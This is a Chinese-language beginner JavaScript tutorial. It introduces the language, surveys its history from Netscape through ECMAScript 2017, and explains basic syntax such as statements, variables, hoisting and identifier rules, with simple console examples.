JavaScript

入门篇

导论

什么是 JavaScript 语言?

JavaScript 是一种轻量级的脚本语言。所谓“脚本语言”(script language),指的是它不具备开发操作系统的能力,而是只用来编写控制其他大型应用程序(比如浏览器)的“脚本”。

JavaScript 也是一种嵌入式(embedded)语言。它本身提供的核心语法不算很多,只能用来做一些数学和逻辑运算。JavaScript 本身不提供任何与 I/O(输入/输出)相关的 API,都要靠宿主环境(host)提供,所以 JavaScript 只合适嵌入更大型的应用程序环境,去调用宿主环境提供的底层 API。

目前,已经嵌入 JavaScript 的宿主环境有多种,最常见的环境就是浏览器,另外还有服务器环境,也就是 Node 项目。

从语法角度看,JavaScript 语言是一种“对象模型”语言。各种宿主环境通过这个模型,描述自己的功能和操作接口,从而通过 JavaScript 控制这些功能。但是,JavaScript 并不是纯粹的“面向对象语言”,还支持其他编程范式(比如函数式编程)。这导致几乎任何一个问题,JavaScript 都有多种解决方法。阅读本书的过程中,你会诧异于 JavaScript 语法的灵活性。

JavaScript 的核心语法部分相当精简,只包括两个部分:基本的语法构造(比如操作符、控制结构、语句)和标准库(就是一系列具有各种功能的对象比如ArrayDateMath等)。除此之外,各种宿主环境提供额外的 API(即只能在该环境使用的接口),以便 JavaScript 调用。以浏览器为例,它提供的额外 API 可以分成三大类。

  • 浏览器控制类:操作浏览器
  • DOM 类:操作网页的各种元素
  • Web 类:实现互联网的各种功能

如果宿主环境是服务器,则会提供各种操作系统的 API,比如文件操作 API、网络通信 API等等。这些你都可以在 Node 环境中找到。

本书主要介绍 JavaScript 核心语法和浏览器网页开发的基本知识,不涉及 Node。全书可以分成以下四大部分。

  • 基本语法
  • 标准库
  • 浏览器 API
  • DOM

JavaScript 语言有多个版本。本书的内容主要基于 ECMAScript 5.1 版本,这是学习 JavaScript 语法的基础。ES6 和更新的语法请参考我写的《ECMAScript 6入门》

为什么学习 JavaScript?

JavaScript 语言有一些显著特点,使得它非常值得学习。它既适合作为学习编程的入门语言,也适合当作日常开发的工作语言。它是目前最有希望、前途最光明的计算机语言之一。

操控浏览器的能力

JavaScript 的发明目的,就是作为浏览器的内置脚本语言,为网页开发者提供操控浏览器的能力。它是目前唯一一种通用的浏览器脚本语言,所有浏览器都支持。它可以让网页呈现各种特殊效果,为用户提供良好的互动体验。

目前,全世界几乎所有网页都使用 JavaScript。如果不用,网站的易用性和使用效率将大打折扣,无法成为操作便利、对用户友好的网站。

对于一个互联网开发者来说,如果你想提供漂亮的网页、令用户满意的上网体验、各种基于浏览器的便捷功能、前后端之间紧密高效的联系,JavaScript 是必不可少的工具。

广泛的使用领域

近年来,JavaScript 的使用范围,慢慢超越了浏览器,正在向通用的系统语言发展。

(1)浏览器的平台化

随着 HTML5 的出现,浏览器本身的功能越来越强,不再仅仅能浏览网页,而是越来越像一个平台,JavaScript 因此得以调用许多系统功能,比如操作本地文件、操作图片、调用摄像头和麦克风等等。这使得 JavaScript 可以完成许多以前无法想象的事情。

(2)Node

Node 项目使得 JavaScript 可以用于开发服务器端的大型项目,网站的前后端都用 JavaScript 开发已经成为了现实。有些嵌入式平台(Raspberry Pi)能够安装 Node,于是 JavaScript 就能为这些平台开发应用程序。

(3)数据库操作

JavaScript 甚至也可以用来操作数据库。NoSQL 数据库这个概念,本身就是在 JSON(JavaScript Object Notation)格式的基础上诞生的,大部分 NoSQL 数据库允许 JavaScript 直接操作。基于 SQL 语言的开源数据库 PostgreSQL 支持 JavaScript 作为操作语言,可以部分取代 SQL 查询语言。

(4)移动平台开发

JavaScript 也正在成为手机应用的开发语言。一般来说,安卓平台使用 Java 语言开发,iOS 平台使用 Objective-C 或 Swift 语言开发。许多人正在努力,让 JavaScript 成为各个平台的通用开发语言。

PhoneGap 项目就是将 JavaScript 和 HTML5 打包在一个容器之中,使得它能同时在 iOS 和安卓上运行。Facebook 公司的 React Native 项目则是将 JavaScript 写的组件,编译成原生组件,从而使它们具备优秀的性能。

Mozilla 基金会的手机操作系统 Firefox OS,更是直接将 JavaScript 作为操作系统的平台语言,但是很可惜这个项目没有成功。

(5)内嵌脚本语言

越来越多的应用程序,将 JavaScript 作为内嵌的脚本语言,比如 Adobe 公司的著名 PDF 阅读器 Acrobat、Linux 桌面环境 GNOME 3。

(6)跨平台的桌面应用程序

Chromium OS、Windows 8 等操作系统直接支持 JavaScript 编写应用程序。Mozilla 的 Open Web Apps 项目、Google 的 Chrome App 项目、GitHub 的 Electron 项目、以及 TideSDK 项目,都可以用来编写运行于 Windows、Mac OS 和 Android 等多个桌面平台的程序,不依赖浏览器。

(7)小结

可以预期,JavaScript 最终将能让你只用一种语言,就开发出适应不同平台(包括桌面端、服务器端、手机端)的程序。早在2013年9月的统计之中,JavaScript 就是当年 GitHub 上使用量排名第一的语言。

著名程序员 Jeff Atwood 甚至提出了一条 “Atwood 定律”

“所有可以用 JavaScript 编写的程序,最终都会出现 JavaScript 的版本。”(Any application that can be written in JavaScript will eventually be written in JavaScript.)

易学性

相比学习其他语言,学习 JavaScript 有一些有利条件。

(1)学习环境无处不在

只要有浏览器,就能运行 JavaScript 程序;只要有文本编辑器,就能编写 JavaScript 程序。这意味着,几乎所有电脑都原生提供 JavaScript 学习环境,不用另行安装复杂的 IDE(集成开发环境)和编译器。

(2)简单性

相比其他脚本语言(比如 Python 或 Ruby),JavaScript 的语法相对简单一些,本身的语法特性并不是特别多。而且,那些语法中的复杂部分,也不是必需要学会。你完全可以只用简单命令,完成大部分的操作。

(3)与主流语言的相似性

JavaScript 的语法很类似 C/C++ 和 Java,如果学过这些语言(事实上大多数学校都教),JavaScript 的入门会非常容易。

必须说明的是,虽然核心语法不难,但是 JavaScript 的复杂性体现在另外两个方面。

首先,它涉及大量的外部 API。JavaScript 要发挥作用,必须与其他组件配合,这些外部组件五花八门,数量极其庞大,几乎涉及网络应用的各个方面,掌握它们绝非易事。

其次,JavaScript 语言有一些设计缺陷。某些地方相当不合理,另一些地方则会出现怪异的运行结果。学习 JavaScript,很大一部分时间是用来搞清楚哪些地方有陷阱。Douglas Crockford 写过一本有名的书,名字就叫《JavaScript: The Good Parts》,言下之意就是这门语言不好的地方很多,必须写一本书才能讲清楚。另外一些程序员则感到,为了更合理地编写 JavaScript 程序,就不能用 JavaScript 来写,而必须发明新的语言,比如 CoffeeScript、TypeScript、Dart 这些新语言的发明目的,多多少少都有这个因素。

尽管如此,目前看来,JavaScript 的地位还是无法动摇。加之,语言标准的快速进化,使得 JavaScript 功能日益增强,而语法缺陷和怪异之处得到了弥补。所以,JavaScript 还是值得学习,况且它的入门真的不难。

强大的性能

JavaScript 的性能优势体现在以下方面。

(1)灵活的语法,表达力强。

JavaScript 既支持类似 C 语言清晰的过程式编程,也支持灵活的函数式编程,可以用来写并发处理(concurrent)。这些语法特性已经被证明非常强大,可以用于许多场合,尤其适用异步编程。

JavaScript 的所有值都是对象,这为程序员提供了灵活性和便利性。因为你可以很方便地、按照需要随时创造数据结构,不用进行麻烦的预定义。

JavaScript 的标准还在快速进化中,并不断合理化,添加更适用的语法特性。

(2)支持编译运行。

JavaScript 语言本身,虽然是一种解释型语言,但是在现代浏览器中,JavaScript 都是编译后运行。程序会被高度优化,运行效率接近二进制程序。而且,JavaScript 引擎正在快速发展,性能将越来越好。

此外,还有一种 WebAssembly 格式,它是 JavaScript 引擎的中间码格式,全部都是二进制代码。由于跳过了编译步骤,可以达到接近原生二进制代码的运行速度。各种语言(主要是 C 和 C++)通过编译成 WebAssembly,就可以在浏览器里面运行。

(3)事件驱动和非阻塞式设计。

JavaScript 程序可以采用事件驱动(event-driven)和非阻塞式(non-blocking)设计,在服务器端适合高并发环境,普通的硬件就可以承受很大的访问量。

开放性

JavaScript 是一种开放的语言。它的标准 ECMA-262 是 ISO 国际标准,写得非常详尽明确;该标准的主要实现(比如 V8 和 SpiderMonkey 引擎)都是开放的,而且质量很高。这保证了这门语言不属于任何公司或个人,不存在版权和专利的问题。

语言标准由 TC39 委员会负责制定,该委员会的运作是透明的,所有讨论都是开放的,会议记录都会对外公布。

不同公司的 JavaScript 运行环境,兼容性很好,程序不做调整或只做很小的调整,就能在所有浏览器上运行。

社区支持和就业机会

全世界程序员都在使用 JavaScript,它有着极大的社区、广泛的文献和图书、丰富的代码资源。绝大部分你需要用到的功能,都有多个开源函数库可供选用。

作为项目负责人,你不难招聘到数量众多的 JavaScript 程序员;作为开发者,你也不难找到一份 JavaScript 的工作。

实验环境

本教程包含大量的示例代码,只要电脑安装了浏览器,就可以用来实验了。读者可以一边读一边运行示例,加深理解。

推荐安装 Chrome 浏览器,它的“开发者工具”(Developer Tools)里面的“控制台”(console),就是运行 JavaScript 代码的理想环境。

进入 Chrome 浏览器的“控制台”,有两种方法。

  • 直接进入:按下Option + Command + J(Mac)或者Ctrl + Shift + J(Windows / Linux)
  • 开发者工具进入:开发者工具的快捷键是 F12,或者Option + Command + I(Mac)以及Ctrl + Shift + I(Windows / Linux),然后选择 Console 面板

进入控制台以后,就可以在提示符后输入代码,然后按Enter键,代码就会执行。如果按Shift + Enter键,就是代码换行,不会触发执行。建议阅读本教程时,将代码复制到控制台进行实验。

作为尝试,你可以将下面的程序复制到“控制台”,按下回车后,就可以看到运行结果。

1
2
3
4
5
6
function greetMe(yourName) {
console.log('Hello ' + yourName);
}

greetMe('World')
// Hello World

JavaScript 语言的历史

诞生

JavaScript 因为互联网而生,紧跟着浏览器的出现而问世。回顾它的历史,就要从浏览器的历史讲起。

1990年底,欧洲核能研究组织(CERN)科学家 Tim Berners-Lee,在全世界最大的电脑网络——互联网的基础上,发明了万维网(World Wide Web),从此可以在网上浏览网页文件。最早的网页只能在操作系统的终端里浏览,也就是说只能使用命令行操作,网页都是在字符窗口中显示,这当然非常不方便。

1992年底,美国国家超级电脑应用中心(NCSA)开始开发一个独立的浏览器,叫做 Mosaic。这是人类历史上第一个浏览器,从此网页可以在图形界面的窗口浏览。

1994年10月,NCSA 的一个主要程序员 Marc Andreessen 联合风险投资家 Jim Clark,成立了 Mosaic 通信公司(Mosaic Communications),不久后改名为 Netscape。这家公司的方向,就是在 Mosaic 的基础上,开发面向普通用户的新一代的浏览器 Netscape Navigator。

1994年12月,Navigator 发布了1.0版,市场份额一举超过90%。

Netscape 公司很快发现,Navigator 浏览器需要一种可以嵌入网页的脚本语言,用来控制浏览器行为。当时,网速很慢而且上网费很贵,有些操作不宜在服务器端完成。比如,如果用户忘记填写“用户名”,就点了“发送”按钮,到服务器再发现这一点就有点太晚了,最好能在用户发出数据之前,就告诉用户“请填写用户名”。这就需要在网页中嵌入小程序,让浏览器检查每一栏是否都填写了。

管理层对这种浏览器脚本语言的设想是:功能不需要太强,语法较为简单,容易学习和部署。那一年,正逢 Sun 公司的 Java 语言问世,市场推广活动非常成功。Netscape 公司决定与 Sun 公司合作,浏览器支持嵌入 Java 小程序(后来称为 Java applet)。但是,浏览器脚本语言是否就选用 Java,则存在争论。后来,还是决定不使用 Java,因为网页小程序不需要 Java 这么“重”的语法。但是,同时也决定脚本语言的语法要接近 Java,并且可以支持 Java 程序。这些设想直接排除了使用现存语言,比如 Perl、Python 和 TCL。

1995年,Netscape 公司雇佣了程序员 Brendan Eich 开发这种网页脚本语言。Brendan Eich 有很强的函数式编程背景,希望以 Scheme 语言(函数式语言鼻祖 LISP 语言的一种方言)为蓝本,实现这种新语言。

1995年5月,Brendan Eich 只用了10天,就设计完成了这种语言的第一版。它是一个大杂烩,语法有多个来源。

  • 基本语法:借鉴 C 语言和 Java 语言。
  • 数据结构:借鉴 Java 语言,包括将值分成原始值和对象两大类。
  • 函数的用法:借鉴 Scheme 语言和 Awk 语言,将函数当作第一等公民,并引入闭包。
  • 原型继承模型:借鉴 Self 语言(Smalltalk 的一种变种)。
  • 正则表达式:借鉴 Perl 语言。
  • 字符串和数组处理:借鉴 Python 语言。

为了保持简单,这种脚本语言缺少一些关键的功能,比如块级作用域、模块、子类型(subtyping)等等,但是可以利用现有功能找出解决办法。这种功能的不足,直接导致了后来 JavaScript 的一个显著特点:对于其他语言,你需要学习语言的各种功能,而对于 JavaScript,你常常需要学习各种解决问题的模式。而且由于来源多样,从一开始就注定,JavaScript 的编程风格是函数式编程和面向对象编程的一种混合体。

Netscape 公司的这种浏览器脚本语言,最初名字叫做 Mocha,1995年9月改为 LiveScript。12月,Netscape 公司与 Sun 公司(Java 语言的发明者和所有者)达成协议,后者允许将这种语言叫做 JavaScript。这样一来,Netscape 公司可以借助 Java 语言的声势,而 Sun 公司则将自己的影响力扩展到了浏览器。

之所以起这个名字,并不是因为 JavaScript 本身与 Java 语言有多么深的关系(事实上,两者关系并不深,详见下节),而是因为 Netscape 公司已经决定,使用 Java 语言开发网络应用程序,JavaScript 可以像胶水一样,将各个部分连接起来。当然,后来的历史是 Java 语言的浏览器插件失败了,JavaScript 反而发扬光大。

1995年12月4日,Netscape 公司与 Sun 公司联合发布了 JavaScript 语言,对外宣传 JavaScript 是 Java 的补充,属于轻量级的 Java,专门用来操作网页。

1996年3月,Navigator 2.0 浏览器正式内置了 JavaScript 脚本语言。

JavaScript 与 Java 的关系

这里专门说一下 JavaScript 和 Java 的关系。它们是两种不一样的语言,但是彼此存在联系。

JavaScript 的基本语法和对象体系,是模仿 Java 而设计的。但是,JavaScript 没有采用 Java 的静态类型。正是因为 JavaScript 与 Java 有很大的相似性,所以这门语言才从一开始的 LiveScript 改名为 JavaScript。基本上,JavaScript 这个名字的原意是“很像Java的脚本语言”。

JavaScript 语言的函数是一种独立的数据类型,以及采用基于原型对象(prototype)的继承链。这是它与 Java 语法最大的两点区别。JavaScript 语法要比 Java 自由得多。

另外,Java 语言需要编译,而 JavaScript 语言则是运行时由解释器直接执行。

总之,JavaScript 的原始设计目标是一种小型的、简单的动态语言,与 Java 有足够的相似性,使得使用者(尤其是 Java 程序员)可以快速上手。

JavaScript 与 ECMAScript 的关系

1996年8月,微软模仿 JavaScript 开发了一种相近的语言,取名为JScript(JavaScript 是 Netscape 的注册商标,微软不能用),首先内置于IE 3.0。Netscape 公司面临丧失浏览器脚本语言的主导权的局面。

1996年11月,Netscape 公司决定将 JavaScript 提交给国际标准化组织 ECMA(European Computer Manufacturers Association),希望 JavaScript 能够成为国际标准,以此抵抗微软。ECMA 的39号技术委员会(Technical Committee 39)负责制定和审核这个标准,成员由业内的大公司派出的工程师组成,目前共25个人。该委员会定期开会,所有的邮件讨论和会议记录,都是公开的。

1997年7月,ECMA 组织发布262号标准文件(ECMA-262)的第一版,规定了浏览器脚本语言的标准,并将这种语言称为 ECMAScript。这个版本就是 ECMAScript 1.0 版。之所以不叫 JavaScript,一方面是由于商标的关系,Java 是 Sun 公司的商标,根据一份授权协议,只有 Netscape 公司可以合法地使用 JavaScript 这个名字,且 JavaScript 已经被 Netscape 公司注册为商标,另一方面也是想体现这门语言的制定者是 ECMA,不是 Netscape,这样有利于保证这门语言的开放性和中立性。因此,ECMAScript 和 JavaScript 的关系是,前者是后者的规格,后者是前者的一种实现。在日常场合,这两个词是可以互换的。

ECMAScript 只用来标准化 JavaScript 这种语言的基本语法结构,与部署环境相关的标准都由其他标准规定,比如 DOM 的标准就是由 W3C组织(World Wide Web Consortium)制定的。

ECMA-262 标准后来也被另一个国际标准化组织 ISO(International Organization for Standardization)批准,标准号是 ISO-16262。

JavaScript 的版本

1997年7月,ECMAScript 1.0发布。

1998年6月,ECMAScript 2.0版发布。

1999年12月,ECMAScript 3.0版发布,成为 JavaScript 的通行标准,得到了广泛支持。

2007年10月,ECMAScript 4.0版草案发布,对3.0版做了大幅升级,预计次年8月发布正式版本。草案发布后,由于4.0版的目标过于激进,各方对于是否通过这个标准,发生了严重分歧。以 Yahoo、Microsoft、Google 为首的大公司,反对 JavaScript 的大幅升级,主张小幅改动;以 JavaScript 创造者 Brendan Eich 为首的 Mozilla 公司,则坚持当前的草案。

2008年7月,由于对于下一个版本应该包括哪些功能,各方分歧太大,争论过于激进,ECMA 开会决定,中止 ECMAScript 4.0 的开发(即废除了这个版本),将其中涉及现有功能改善的一小部分,发布为 ECMAScript 3.1,而将其他激进的设想扩大范围,放入以后的版本,由于会议的气氛,该版本的项目代号起名为 Harmony(和谐)。会后不久,ECMAScript 3.1 就改名为 ECMAScript 5。

2009年12月,ECMAScript 5.0版 正式发布。Harmony 项目则一分为二,一些较为可行的设想定名为 JavaScript.next 继续开发,后来演变成 ECMAScript 6;一些不是很成熟的设想,则被视为 JavaScript.next.next,在更远的将来再考虑推出。TC39 的总体考虑是,ECMAScript 5 与 ECMAScript 3 基本保持兼容,较大的语法修正和新功能加入,将由 JavaScript.next 完成。当时,JavaScript.next 指的是ECMAScript 6。第六版发布以后,将指 ECMAScript 7。TC39 预计,ECMAScript 5 会在2013年的年中成为 JavaScript 开发的主流标准,并在此后五年中一直保持这个位置。

2011年6月,ECMAScript 5.1版发布,并且成为 ISO 国际标准(ISO/IEC 16262:2011)。到了2012年底,所有主要浏览器都支持 ECMAScript 5.1版的全部功能。

2013年3月,ECMAScript 6 草案冻结,不再添加新功能。新的功能设想将被放到 ECMAScript 7。

2013年12月,ECMAScript 6 草案发布。然后是12个月的讨论期,听取各方反馈。

2015年6月,ECMAScript 6 正式发布,并且更名为“ECMAScript 2015”。这是因为 TC39 委员会计划,以后每年发布一个 ECMAScript 的版本,下一个版本在2016年发布,称为“ECMAScript 2016”,2017年发布“ECMAScript 2017”,以此类推。

周边大事记

JavaScript 伴随着互联网的发展一起发展。互联网周边技术的快速发展,刺激和推动了 JavaScript 语言的发展。下面,回顾一下 JavaScript 的周边应用发展。

1996年,样式表标准 CSS 第一版发布。

1997年,DHTML(Dynamic HTML,动态 HTML)发布,允许动态改变网页内容。这标志着 DOM 模式(Document Object Model,文档对象模型)正式应用。

1998年,Netscape 公司开源了浏览器,这导致了 Mozilla 项目的诞生。几个月后,美国在线(AOL)宣布并购 Netscape。

1999年,IE 5部署了 XMLHttpRequest 接口,允许 JavaScript 发出 HTTP 请求,为后来大行其道的 Ajax 应用创造了条件。

2000年,KDE 项目重写了浏览器引擎 KHTML,为后来的 WebKit 和 Blink 引擎打下基础。这一年的10月23日,KDE 2.0发布,第一次将 KHTML 浏览器包括其中。

2001年,微软公司时隔5年之后,发布了 IE 浏览器的下一个版本 Internet Explorer 6。这是当时最先进的浏览器,它后来统治了浏览器市场多年。

2001年,Douglas Crockford 提出了 JSON 格式,用于取代 XML 格式,进行服务器和网页之间的数据交换。JavaScript 可以原生支持这种格式,不需要额外部署代码。

2002年,Mozilla 项目发布了它的浏览器的第一版,后来起名为 Firefox。

2003年,苹果公司发布了 Safari 浏览器的第一版。

2004年,Google 公司发布了 Gmail,促成了互联网应用程序(Web Application)这个概念的诞生。由于 Gmail 是在4月1日发布的,很多人起初以为这只是一个玩笑。

2004年,Dojo 框架诞生,为不同浏览器提供了同一接口,并为主要功能提供了便利的调用方法。这标志着 JavaScript 编程框架的时代开始来临。

2004年,WHATWG 组织成立,致力于加速 HTML 语言的标准化进程。

2005年,苹果公司在 KHTML 引擎基础上,建立了 WebKit 引擎。

2005年,Ajax 方法(Asynchronous JavaScript and XML)正式诞生,Jesse James Garrett 发明了这个词汇。它开始流行的标志是,2月份发布的 Google Maps 项目大量采用该方法。它几乎成了新一代网站的标准做法,促成了 Web 2.0时代的来临。

2005年,Apache 基金会发布了 CouchDB 数据库。这是一个基于 JSON 格式的数据库,可以用 JavaScript 函数定义视图和索引。它在本质上有别于传统的关系型数据库,标识着 NoSQL 类型的数据库诞生。

2006年,jQuery 函数库诞生,作者为John Resig。jQuery 为操作网页 DOM 结构提供了非常强大易用的接口,成为了使用最广泛的函数库,并且让 JavaScript 语言的应用难度大大降低,推动了这种语言的流行。

2006年,微软公司发布 IE 7,标志重新开始启动浏览器的开发。

2006年,Google推出 Google Web Toolkit 项目(缩写为 GWT),提供 Java 编译成 JavaScript 的功能,开创了将其他语言转为 JavaScript 的先河。

2007年,Webkit 引擎在 iPhone 手机中得到部署。它最初基于 KDE 项目,2003年苹果公司首先采用,2005年开源。这标志着 JavaScript 语言开始能在手机中使用了,意味着有可能写出在桌面电脑和手机中都能使用的程序。

2007年,Douglas Crockford 发表了名为《JavaScript: The good parts》的演讲,次年由 O’Reilly 出版社出版。这标志着软件行业开始严肃对待 JavaScript 语言,对它的语法开始重新认识,

2008年,V8 编译器诞生。这是 Google 公司为 Chrome 浏览器而开发的,它的特点是让 JavaScript 的运行变得非常快。它提高了 JavaScript 的性能,推动了语法的改进和标准化,改变外界对 JavaScript 的不佳印象。同时,V8 是开源的,任何人想要一种快速的嵌入式脚本语言,都可以采用 V8,这拓展了 JavaScript 的应用领域。

2009年,Node.js 项目诞生,创始人为 Ryan Dahl,它标志着 JavaScript 可以用于服务器端编程,从此网站的前端和后端可以使用同一种语言开发。并且,Node.js 可以承受很大的并发流量,使得开发某些互联网大规模的实时应用变得容易。

2009年,Jeremy Ashkenas 发布了 CoffeeScript 的最初版本。CoffeeScript 可以被转换为 JavaScript 运行,但是语法要比 JavaScript 简洁。这开启了其他语言转为 JavaScript 的风潮。

2009年,PhoneGap 项目诞生,它将 HTML5 和 JavaScript 引入移动设备的应用程序开发,主要针对 iOS 和 Android 平台,使得 JavaScript 可以用于跨平台的应用程序开发。

2009,Google 发布 Chrome OS,号称是以浏览器为基础发展成的操作系统,允许直接使用 JavaScript 编写应用程序。类似的项目还有 Mozilla 的 Firefox OS。

2010年,三个重要的项目诞生,分别是 NPM、BackboneJS 和 RequireJS,标志着 JavaScript 进入模块化开发的时代。

2011年,微软公司发布 Windows 8操作系统,将 JavaScript 作为应用程序的开发语言之一,直接提供系统支持。

2011年,Google 发布了 Dart 语言,目的是为了结束 JavaScript 语言在浏览器中的垄断,提供更合理、更强大的语法和功能。Chromium浏览器有内置的 Dart 虚拟机,可以运行 Dart 程序,但 Dart 程序也可以被编译成 JavaScript 程序运行。

2011年,微软工程师Scott Hanselman提出,JavaScript 将是互联网的汇编语言。因为它无所不在,而且正在变得越来越快。其他语言的程序可以被转成 JavaScript 语言,然后在浏览器中运行。

2012年,单页面应用程序框架(single-page app framework)开始崛起,AngularJS 项目和 Ember 项目都发布了1.0版本。

2012年,微软发布 TypeScript 语言。该语言被设计成 JavaScript 的超集,这意味着所有 JavaScript 程序,都可以不经修改地在 TypeScript 中运行。同时,TypeScript 添加了很多新的语法特性,主要目的是为了开发大型程序,然后还可以被编译成 JavaScript 运行。

2012年,Mozilla 基金会提出 asm.js 规格。asm.js 是 JavaScript 的一个子集,所有符合 asm.js 的程序都可以在浏览器中运行,它的特殊之处在于语法有严格限定,可以被快速编译成性能良好的机器码。这样做的目的,是为了给其他语言提供一个编译规范,使其可以被编译成高效的 JavaScript 代码。同时,Mozilla 基金会还发起了 Emscripten 项目,目标就是提供一个跨语言的编译器,能够将 LLVM 的位代码(bitcode)转为 JavaScript 代码,在浏览器中运行。因为大部分 LLVM 位代码都是从 C / C++ 语言生成的,这意味着 C / C++ 将可以在浏览器中运行。此外,Mozilla 旗下还有 LLJS (将 JavaScript 转为 C 代码)项目和 River Trail (一个用于多核心处理器的 ECMAScript 扩展)项目。目前,可以被编译成 JavaScript 的语言列表,共有将近40种语言。

2013年,Mozilla 基金会发布手机操作系统 Firefox OS,该操作系统的整个用户界面都使用 JavaScript。

2013年,ECMA 正式推出 JSON 的国际标准,这意味着 JSON 格式已经变得与 XML 格式一样重要和正式了。

2013年5月,Facebook 发布 UI 框架库 React,引入了新的 JSX 语法,使得 UI 层可以用组件开发,同时引入了网页应用是状态机的概念。

2014年,微软推出 JavaScript 的 Windows 库 WinJS,标志微软公司全面支持 JavaScript 与 Windows 操作系统的融合。

2014年11月,由于对 Joyent 公司垄断 Node 项目、以及该项目进展缓慢的不满,一部分核心开发者离开了 Node.js,创造了 io.js 项目,这是一个更开放、更新更频繁的 Node.js 版本,很短时间内就发布到了2.0版。三个月后,Joyent 公司宣布放弃对 Node 项目的控制,将其转交给新成立的开放性质的 Node 基金会。随后,io.js 项目宣布回归 Node,两个版本将合并。

2015年3月,Facebook 公司发布了 React Native 项目,将 React 框架移植到了手机端,可以用来开发手机 App。它会将 JavaScript 代码转为 iOS 平台的 Objective-C 代码,或者 Android 平台的 Java 代码,从而为 JavaScript 语言开发高性能的原生 App 打开了一条道路。

2015年4月,Angular 框架宣布,2.0 版将基于微软公司的TypeScript语言开发,这等于为 JavaScript 语言引入了强类型。

2015年5月,Node 模块管理器 NPM 超越 CPAN,标志着 JavaScript 成为世界上软件模块最多的语言。

2015年5月,Google 公司的 Polymer 框架发布1.0版。该项目的目标是生产环境可以使用 WebComponent 组件,如果能够达到目标,Web 开发将进入一个全新的以组件为开发基础的阶段。

2015年6月,ECMA 标准化组织正式批准了 ECMAScript 6 语言标准,定名为《ECMAScript 2015 标准》。JavaScript 语言正式进入了下一个阶段,成为一种企业级的、开发大规模应用的语言。这个标准从提出到批准,历时10年,而 JavaScript 语言从诞生至今也已经20年了。

2015年6月,Mozilla 在 asm.js 的基础上发布 WebAssembly 项目。这是一种 JavaScript 引擎的中间码格式,全部都是二进制,类似于 Java 的字节码,有利于移动设备加载 JavaScript 脚本,执行速度提高了 20+ 倍。这意味着将来的软件,会发布 JavaScript 二进制包。

2016年6月,《ECMAScript 2016 标准》发布。与前一年发布的版本相比,它只增加了两个较小的特性。

2017年6月,《ECMAScript 2017 标准》发布,正式引入了 async 函数,使得异步操作的写法出现了根本的变化。

2017年11月,所有主流浏览器全部支持 WebAssembly,这意味着任何语言都可以编译成 JavaScript,在浏览器运行。

参考链接

JavaScript 的基本语法

语句

JavaScript 程序的执行单位为行(line),也就是一行一行地执行。一般情况下,每一行就是一个语句。

语句(statement)是为了完成某种任务而进行的操作,比如下面就是一行赋值语句。

1
var a = 1 + 3;

这条语句先用var命令,声明了变量a,然后将1 + 3的运算结果赋值给变量a

1 + 3叫做表达式(expression),指一个为了得到返回值的计算式。语句和表达式的区别在于,前者主要为了进行某种操作,一般情况下不需要返回值;后者则是为了得到返回值,一定会返回一个值。凡是 JavaScript 语言中预期为值的地方,都可以使用表达式。比如,赋值语句的等号右边,预期是一个值,因此可以放置各种表达式。

语句以分号结尾,一个分号就表示一个语句结束。多个语句可以写在一行内。

1
var a = 1 + 3 ; var b = 'abc';

分号前面可以没有任何内容,JavaScript 引擎将其视为空语句。

1
;;;

上面的代码就表示3个空语句。

表达式不需要分号结尾。一旦在表达式后面添加分号,则 JavaScript 引擎就将表达式视为语句,这样会产生一些没有任何意义的语句。

1
2
1 + 3;
'abc';

上面两行语句只是单纯地产生一个值,并没有任何实际的意义。

变量

概念

变量是对“值”的具名引用。变量就是为“值”起名,然后引用这个名字,就等同于引用这个值。变量的名字就是变量名。

1
var a = 1;

上面的代码先声明变量a,然后在变量a与数值1之间建立引用关系,称为将数值1“赋值”给变量a。以后,引用变量名a就会得到数值1。最前面的var,是变量声明命令。它表示通知解释引擎,要创建一个变量a

注意,JavaScript 的变量名区分大小写,Aa是两个不同的变量。

变量的声明和赋值,是分开的两个步骤,上面的代码将它们合在了一起,实际的步骤是下面这样。

1
2
var a;
a = 1;

如果只是声明变量而没有赋值,则该变量的值是undefinedundefined是一个特殊的值,表示“无定义”。

1
2
var a;
a // undefined

如果变量赋值的时候,忘了写var命令,这条语句也是有效的。

1
2
3
var a = 1;
// 基本等同
a = 1;

但是,不写var的做法,不利于表达意图,而且容易不知不觉地创建全局变量,所以建议总是使用var命令声明变量。

如果一个变量没有声明就直接使用,JavaScript 会报错,告诉你变量未定义。

1
2
x
// ReferenceError: x is not defined

上面代码直接使用变量x,系统就报错,告诉你变量x没有声明。

可以在同一条var命令中声明多个变量。

1
var a, b;

JavaScript 是一种动态类型语言,也就是说,变量的类型没有限制,变量可以随时更改类型。

1
2
var a = 1;
a = 'hello';

上面代码中,变量a起先被赋值为一个数值,后来又被重新赋值为一个字符串。第二次赋值的时候,因为变量a已经存在,所以不需要使用var命令。

如果使用var重新声明一个已经存在的变量,是无效的。

1
2
3
var x = 1;
var x;
x // 1

上面代码中,变量x声明了两次,第二次声明是无效的。

但是,如果第二次声明的时候还进行了赋值,则会覆盖掉前面的值。

1
2
3
4
5
6
7
8
var x = 1;
var x = 2;

// 等同于

var x = 1;
var x;
x = 2;

变量提升

JavaScript 引擎的工作方式是,先解析代码,获取所有被声明的变量,然后再一行一行地运行。这造成的结果,就是所有的变量的声明语句,都会被提升到代码的头部,这就叫做变量提升(hoisting)。

1
2
console.log(a);
var a = 1;

上面代码首先使用console.log方法,在控制台(console)显示变量a的值。这时变量a还没有声明和赋值,所以这是一种错误的做法,但是实际上不会报错。因为存在变量提升,真正运行的是下面的代码。

1
2
3
var a;
console.log(a);
a = 1;

最后的结果是显示undefined,表示变量a已声明,但还未赋值。

标识符

标识符(identifier)指的是用来识别各种值的合法名称。最常见的标识符就是变量名,以及后面要提到的函数名。JavaScript 语言的标识符对大小写敏感,所以aA是两个不同的标识符。

标识符有一套命名规则,不符合规则的就是非法标识符。JavaScript 引擎遇到非法标识符,就会报错。

简单说,标识符命名规则如下。

  • 第一个字符,可以是任意 Unicode 字母(包括英文字母和其他语言的字母),以及美元符号($)和下划线(_)。
  • 第二个字符及后面的字符,除了 Unicode 字母、美元符号和下划线,还可以用数字0-9

下面这些都是合法的标识符。

1
2
3
4
arg0
_tmp
$elem
π

下面这些则是不合法的标识符。

1
2
3
4
5
1a  // 第一个字符不能是数字
23 // 同上
*** // 标识符不能包含星号
a+b // 标识符不能包含加号
-d // 标识符不能包含减号或连词线

中文是合法的标识符,可以用作变量名。

1
var 临时变量 = 1;

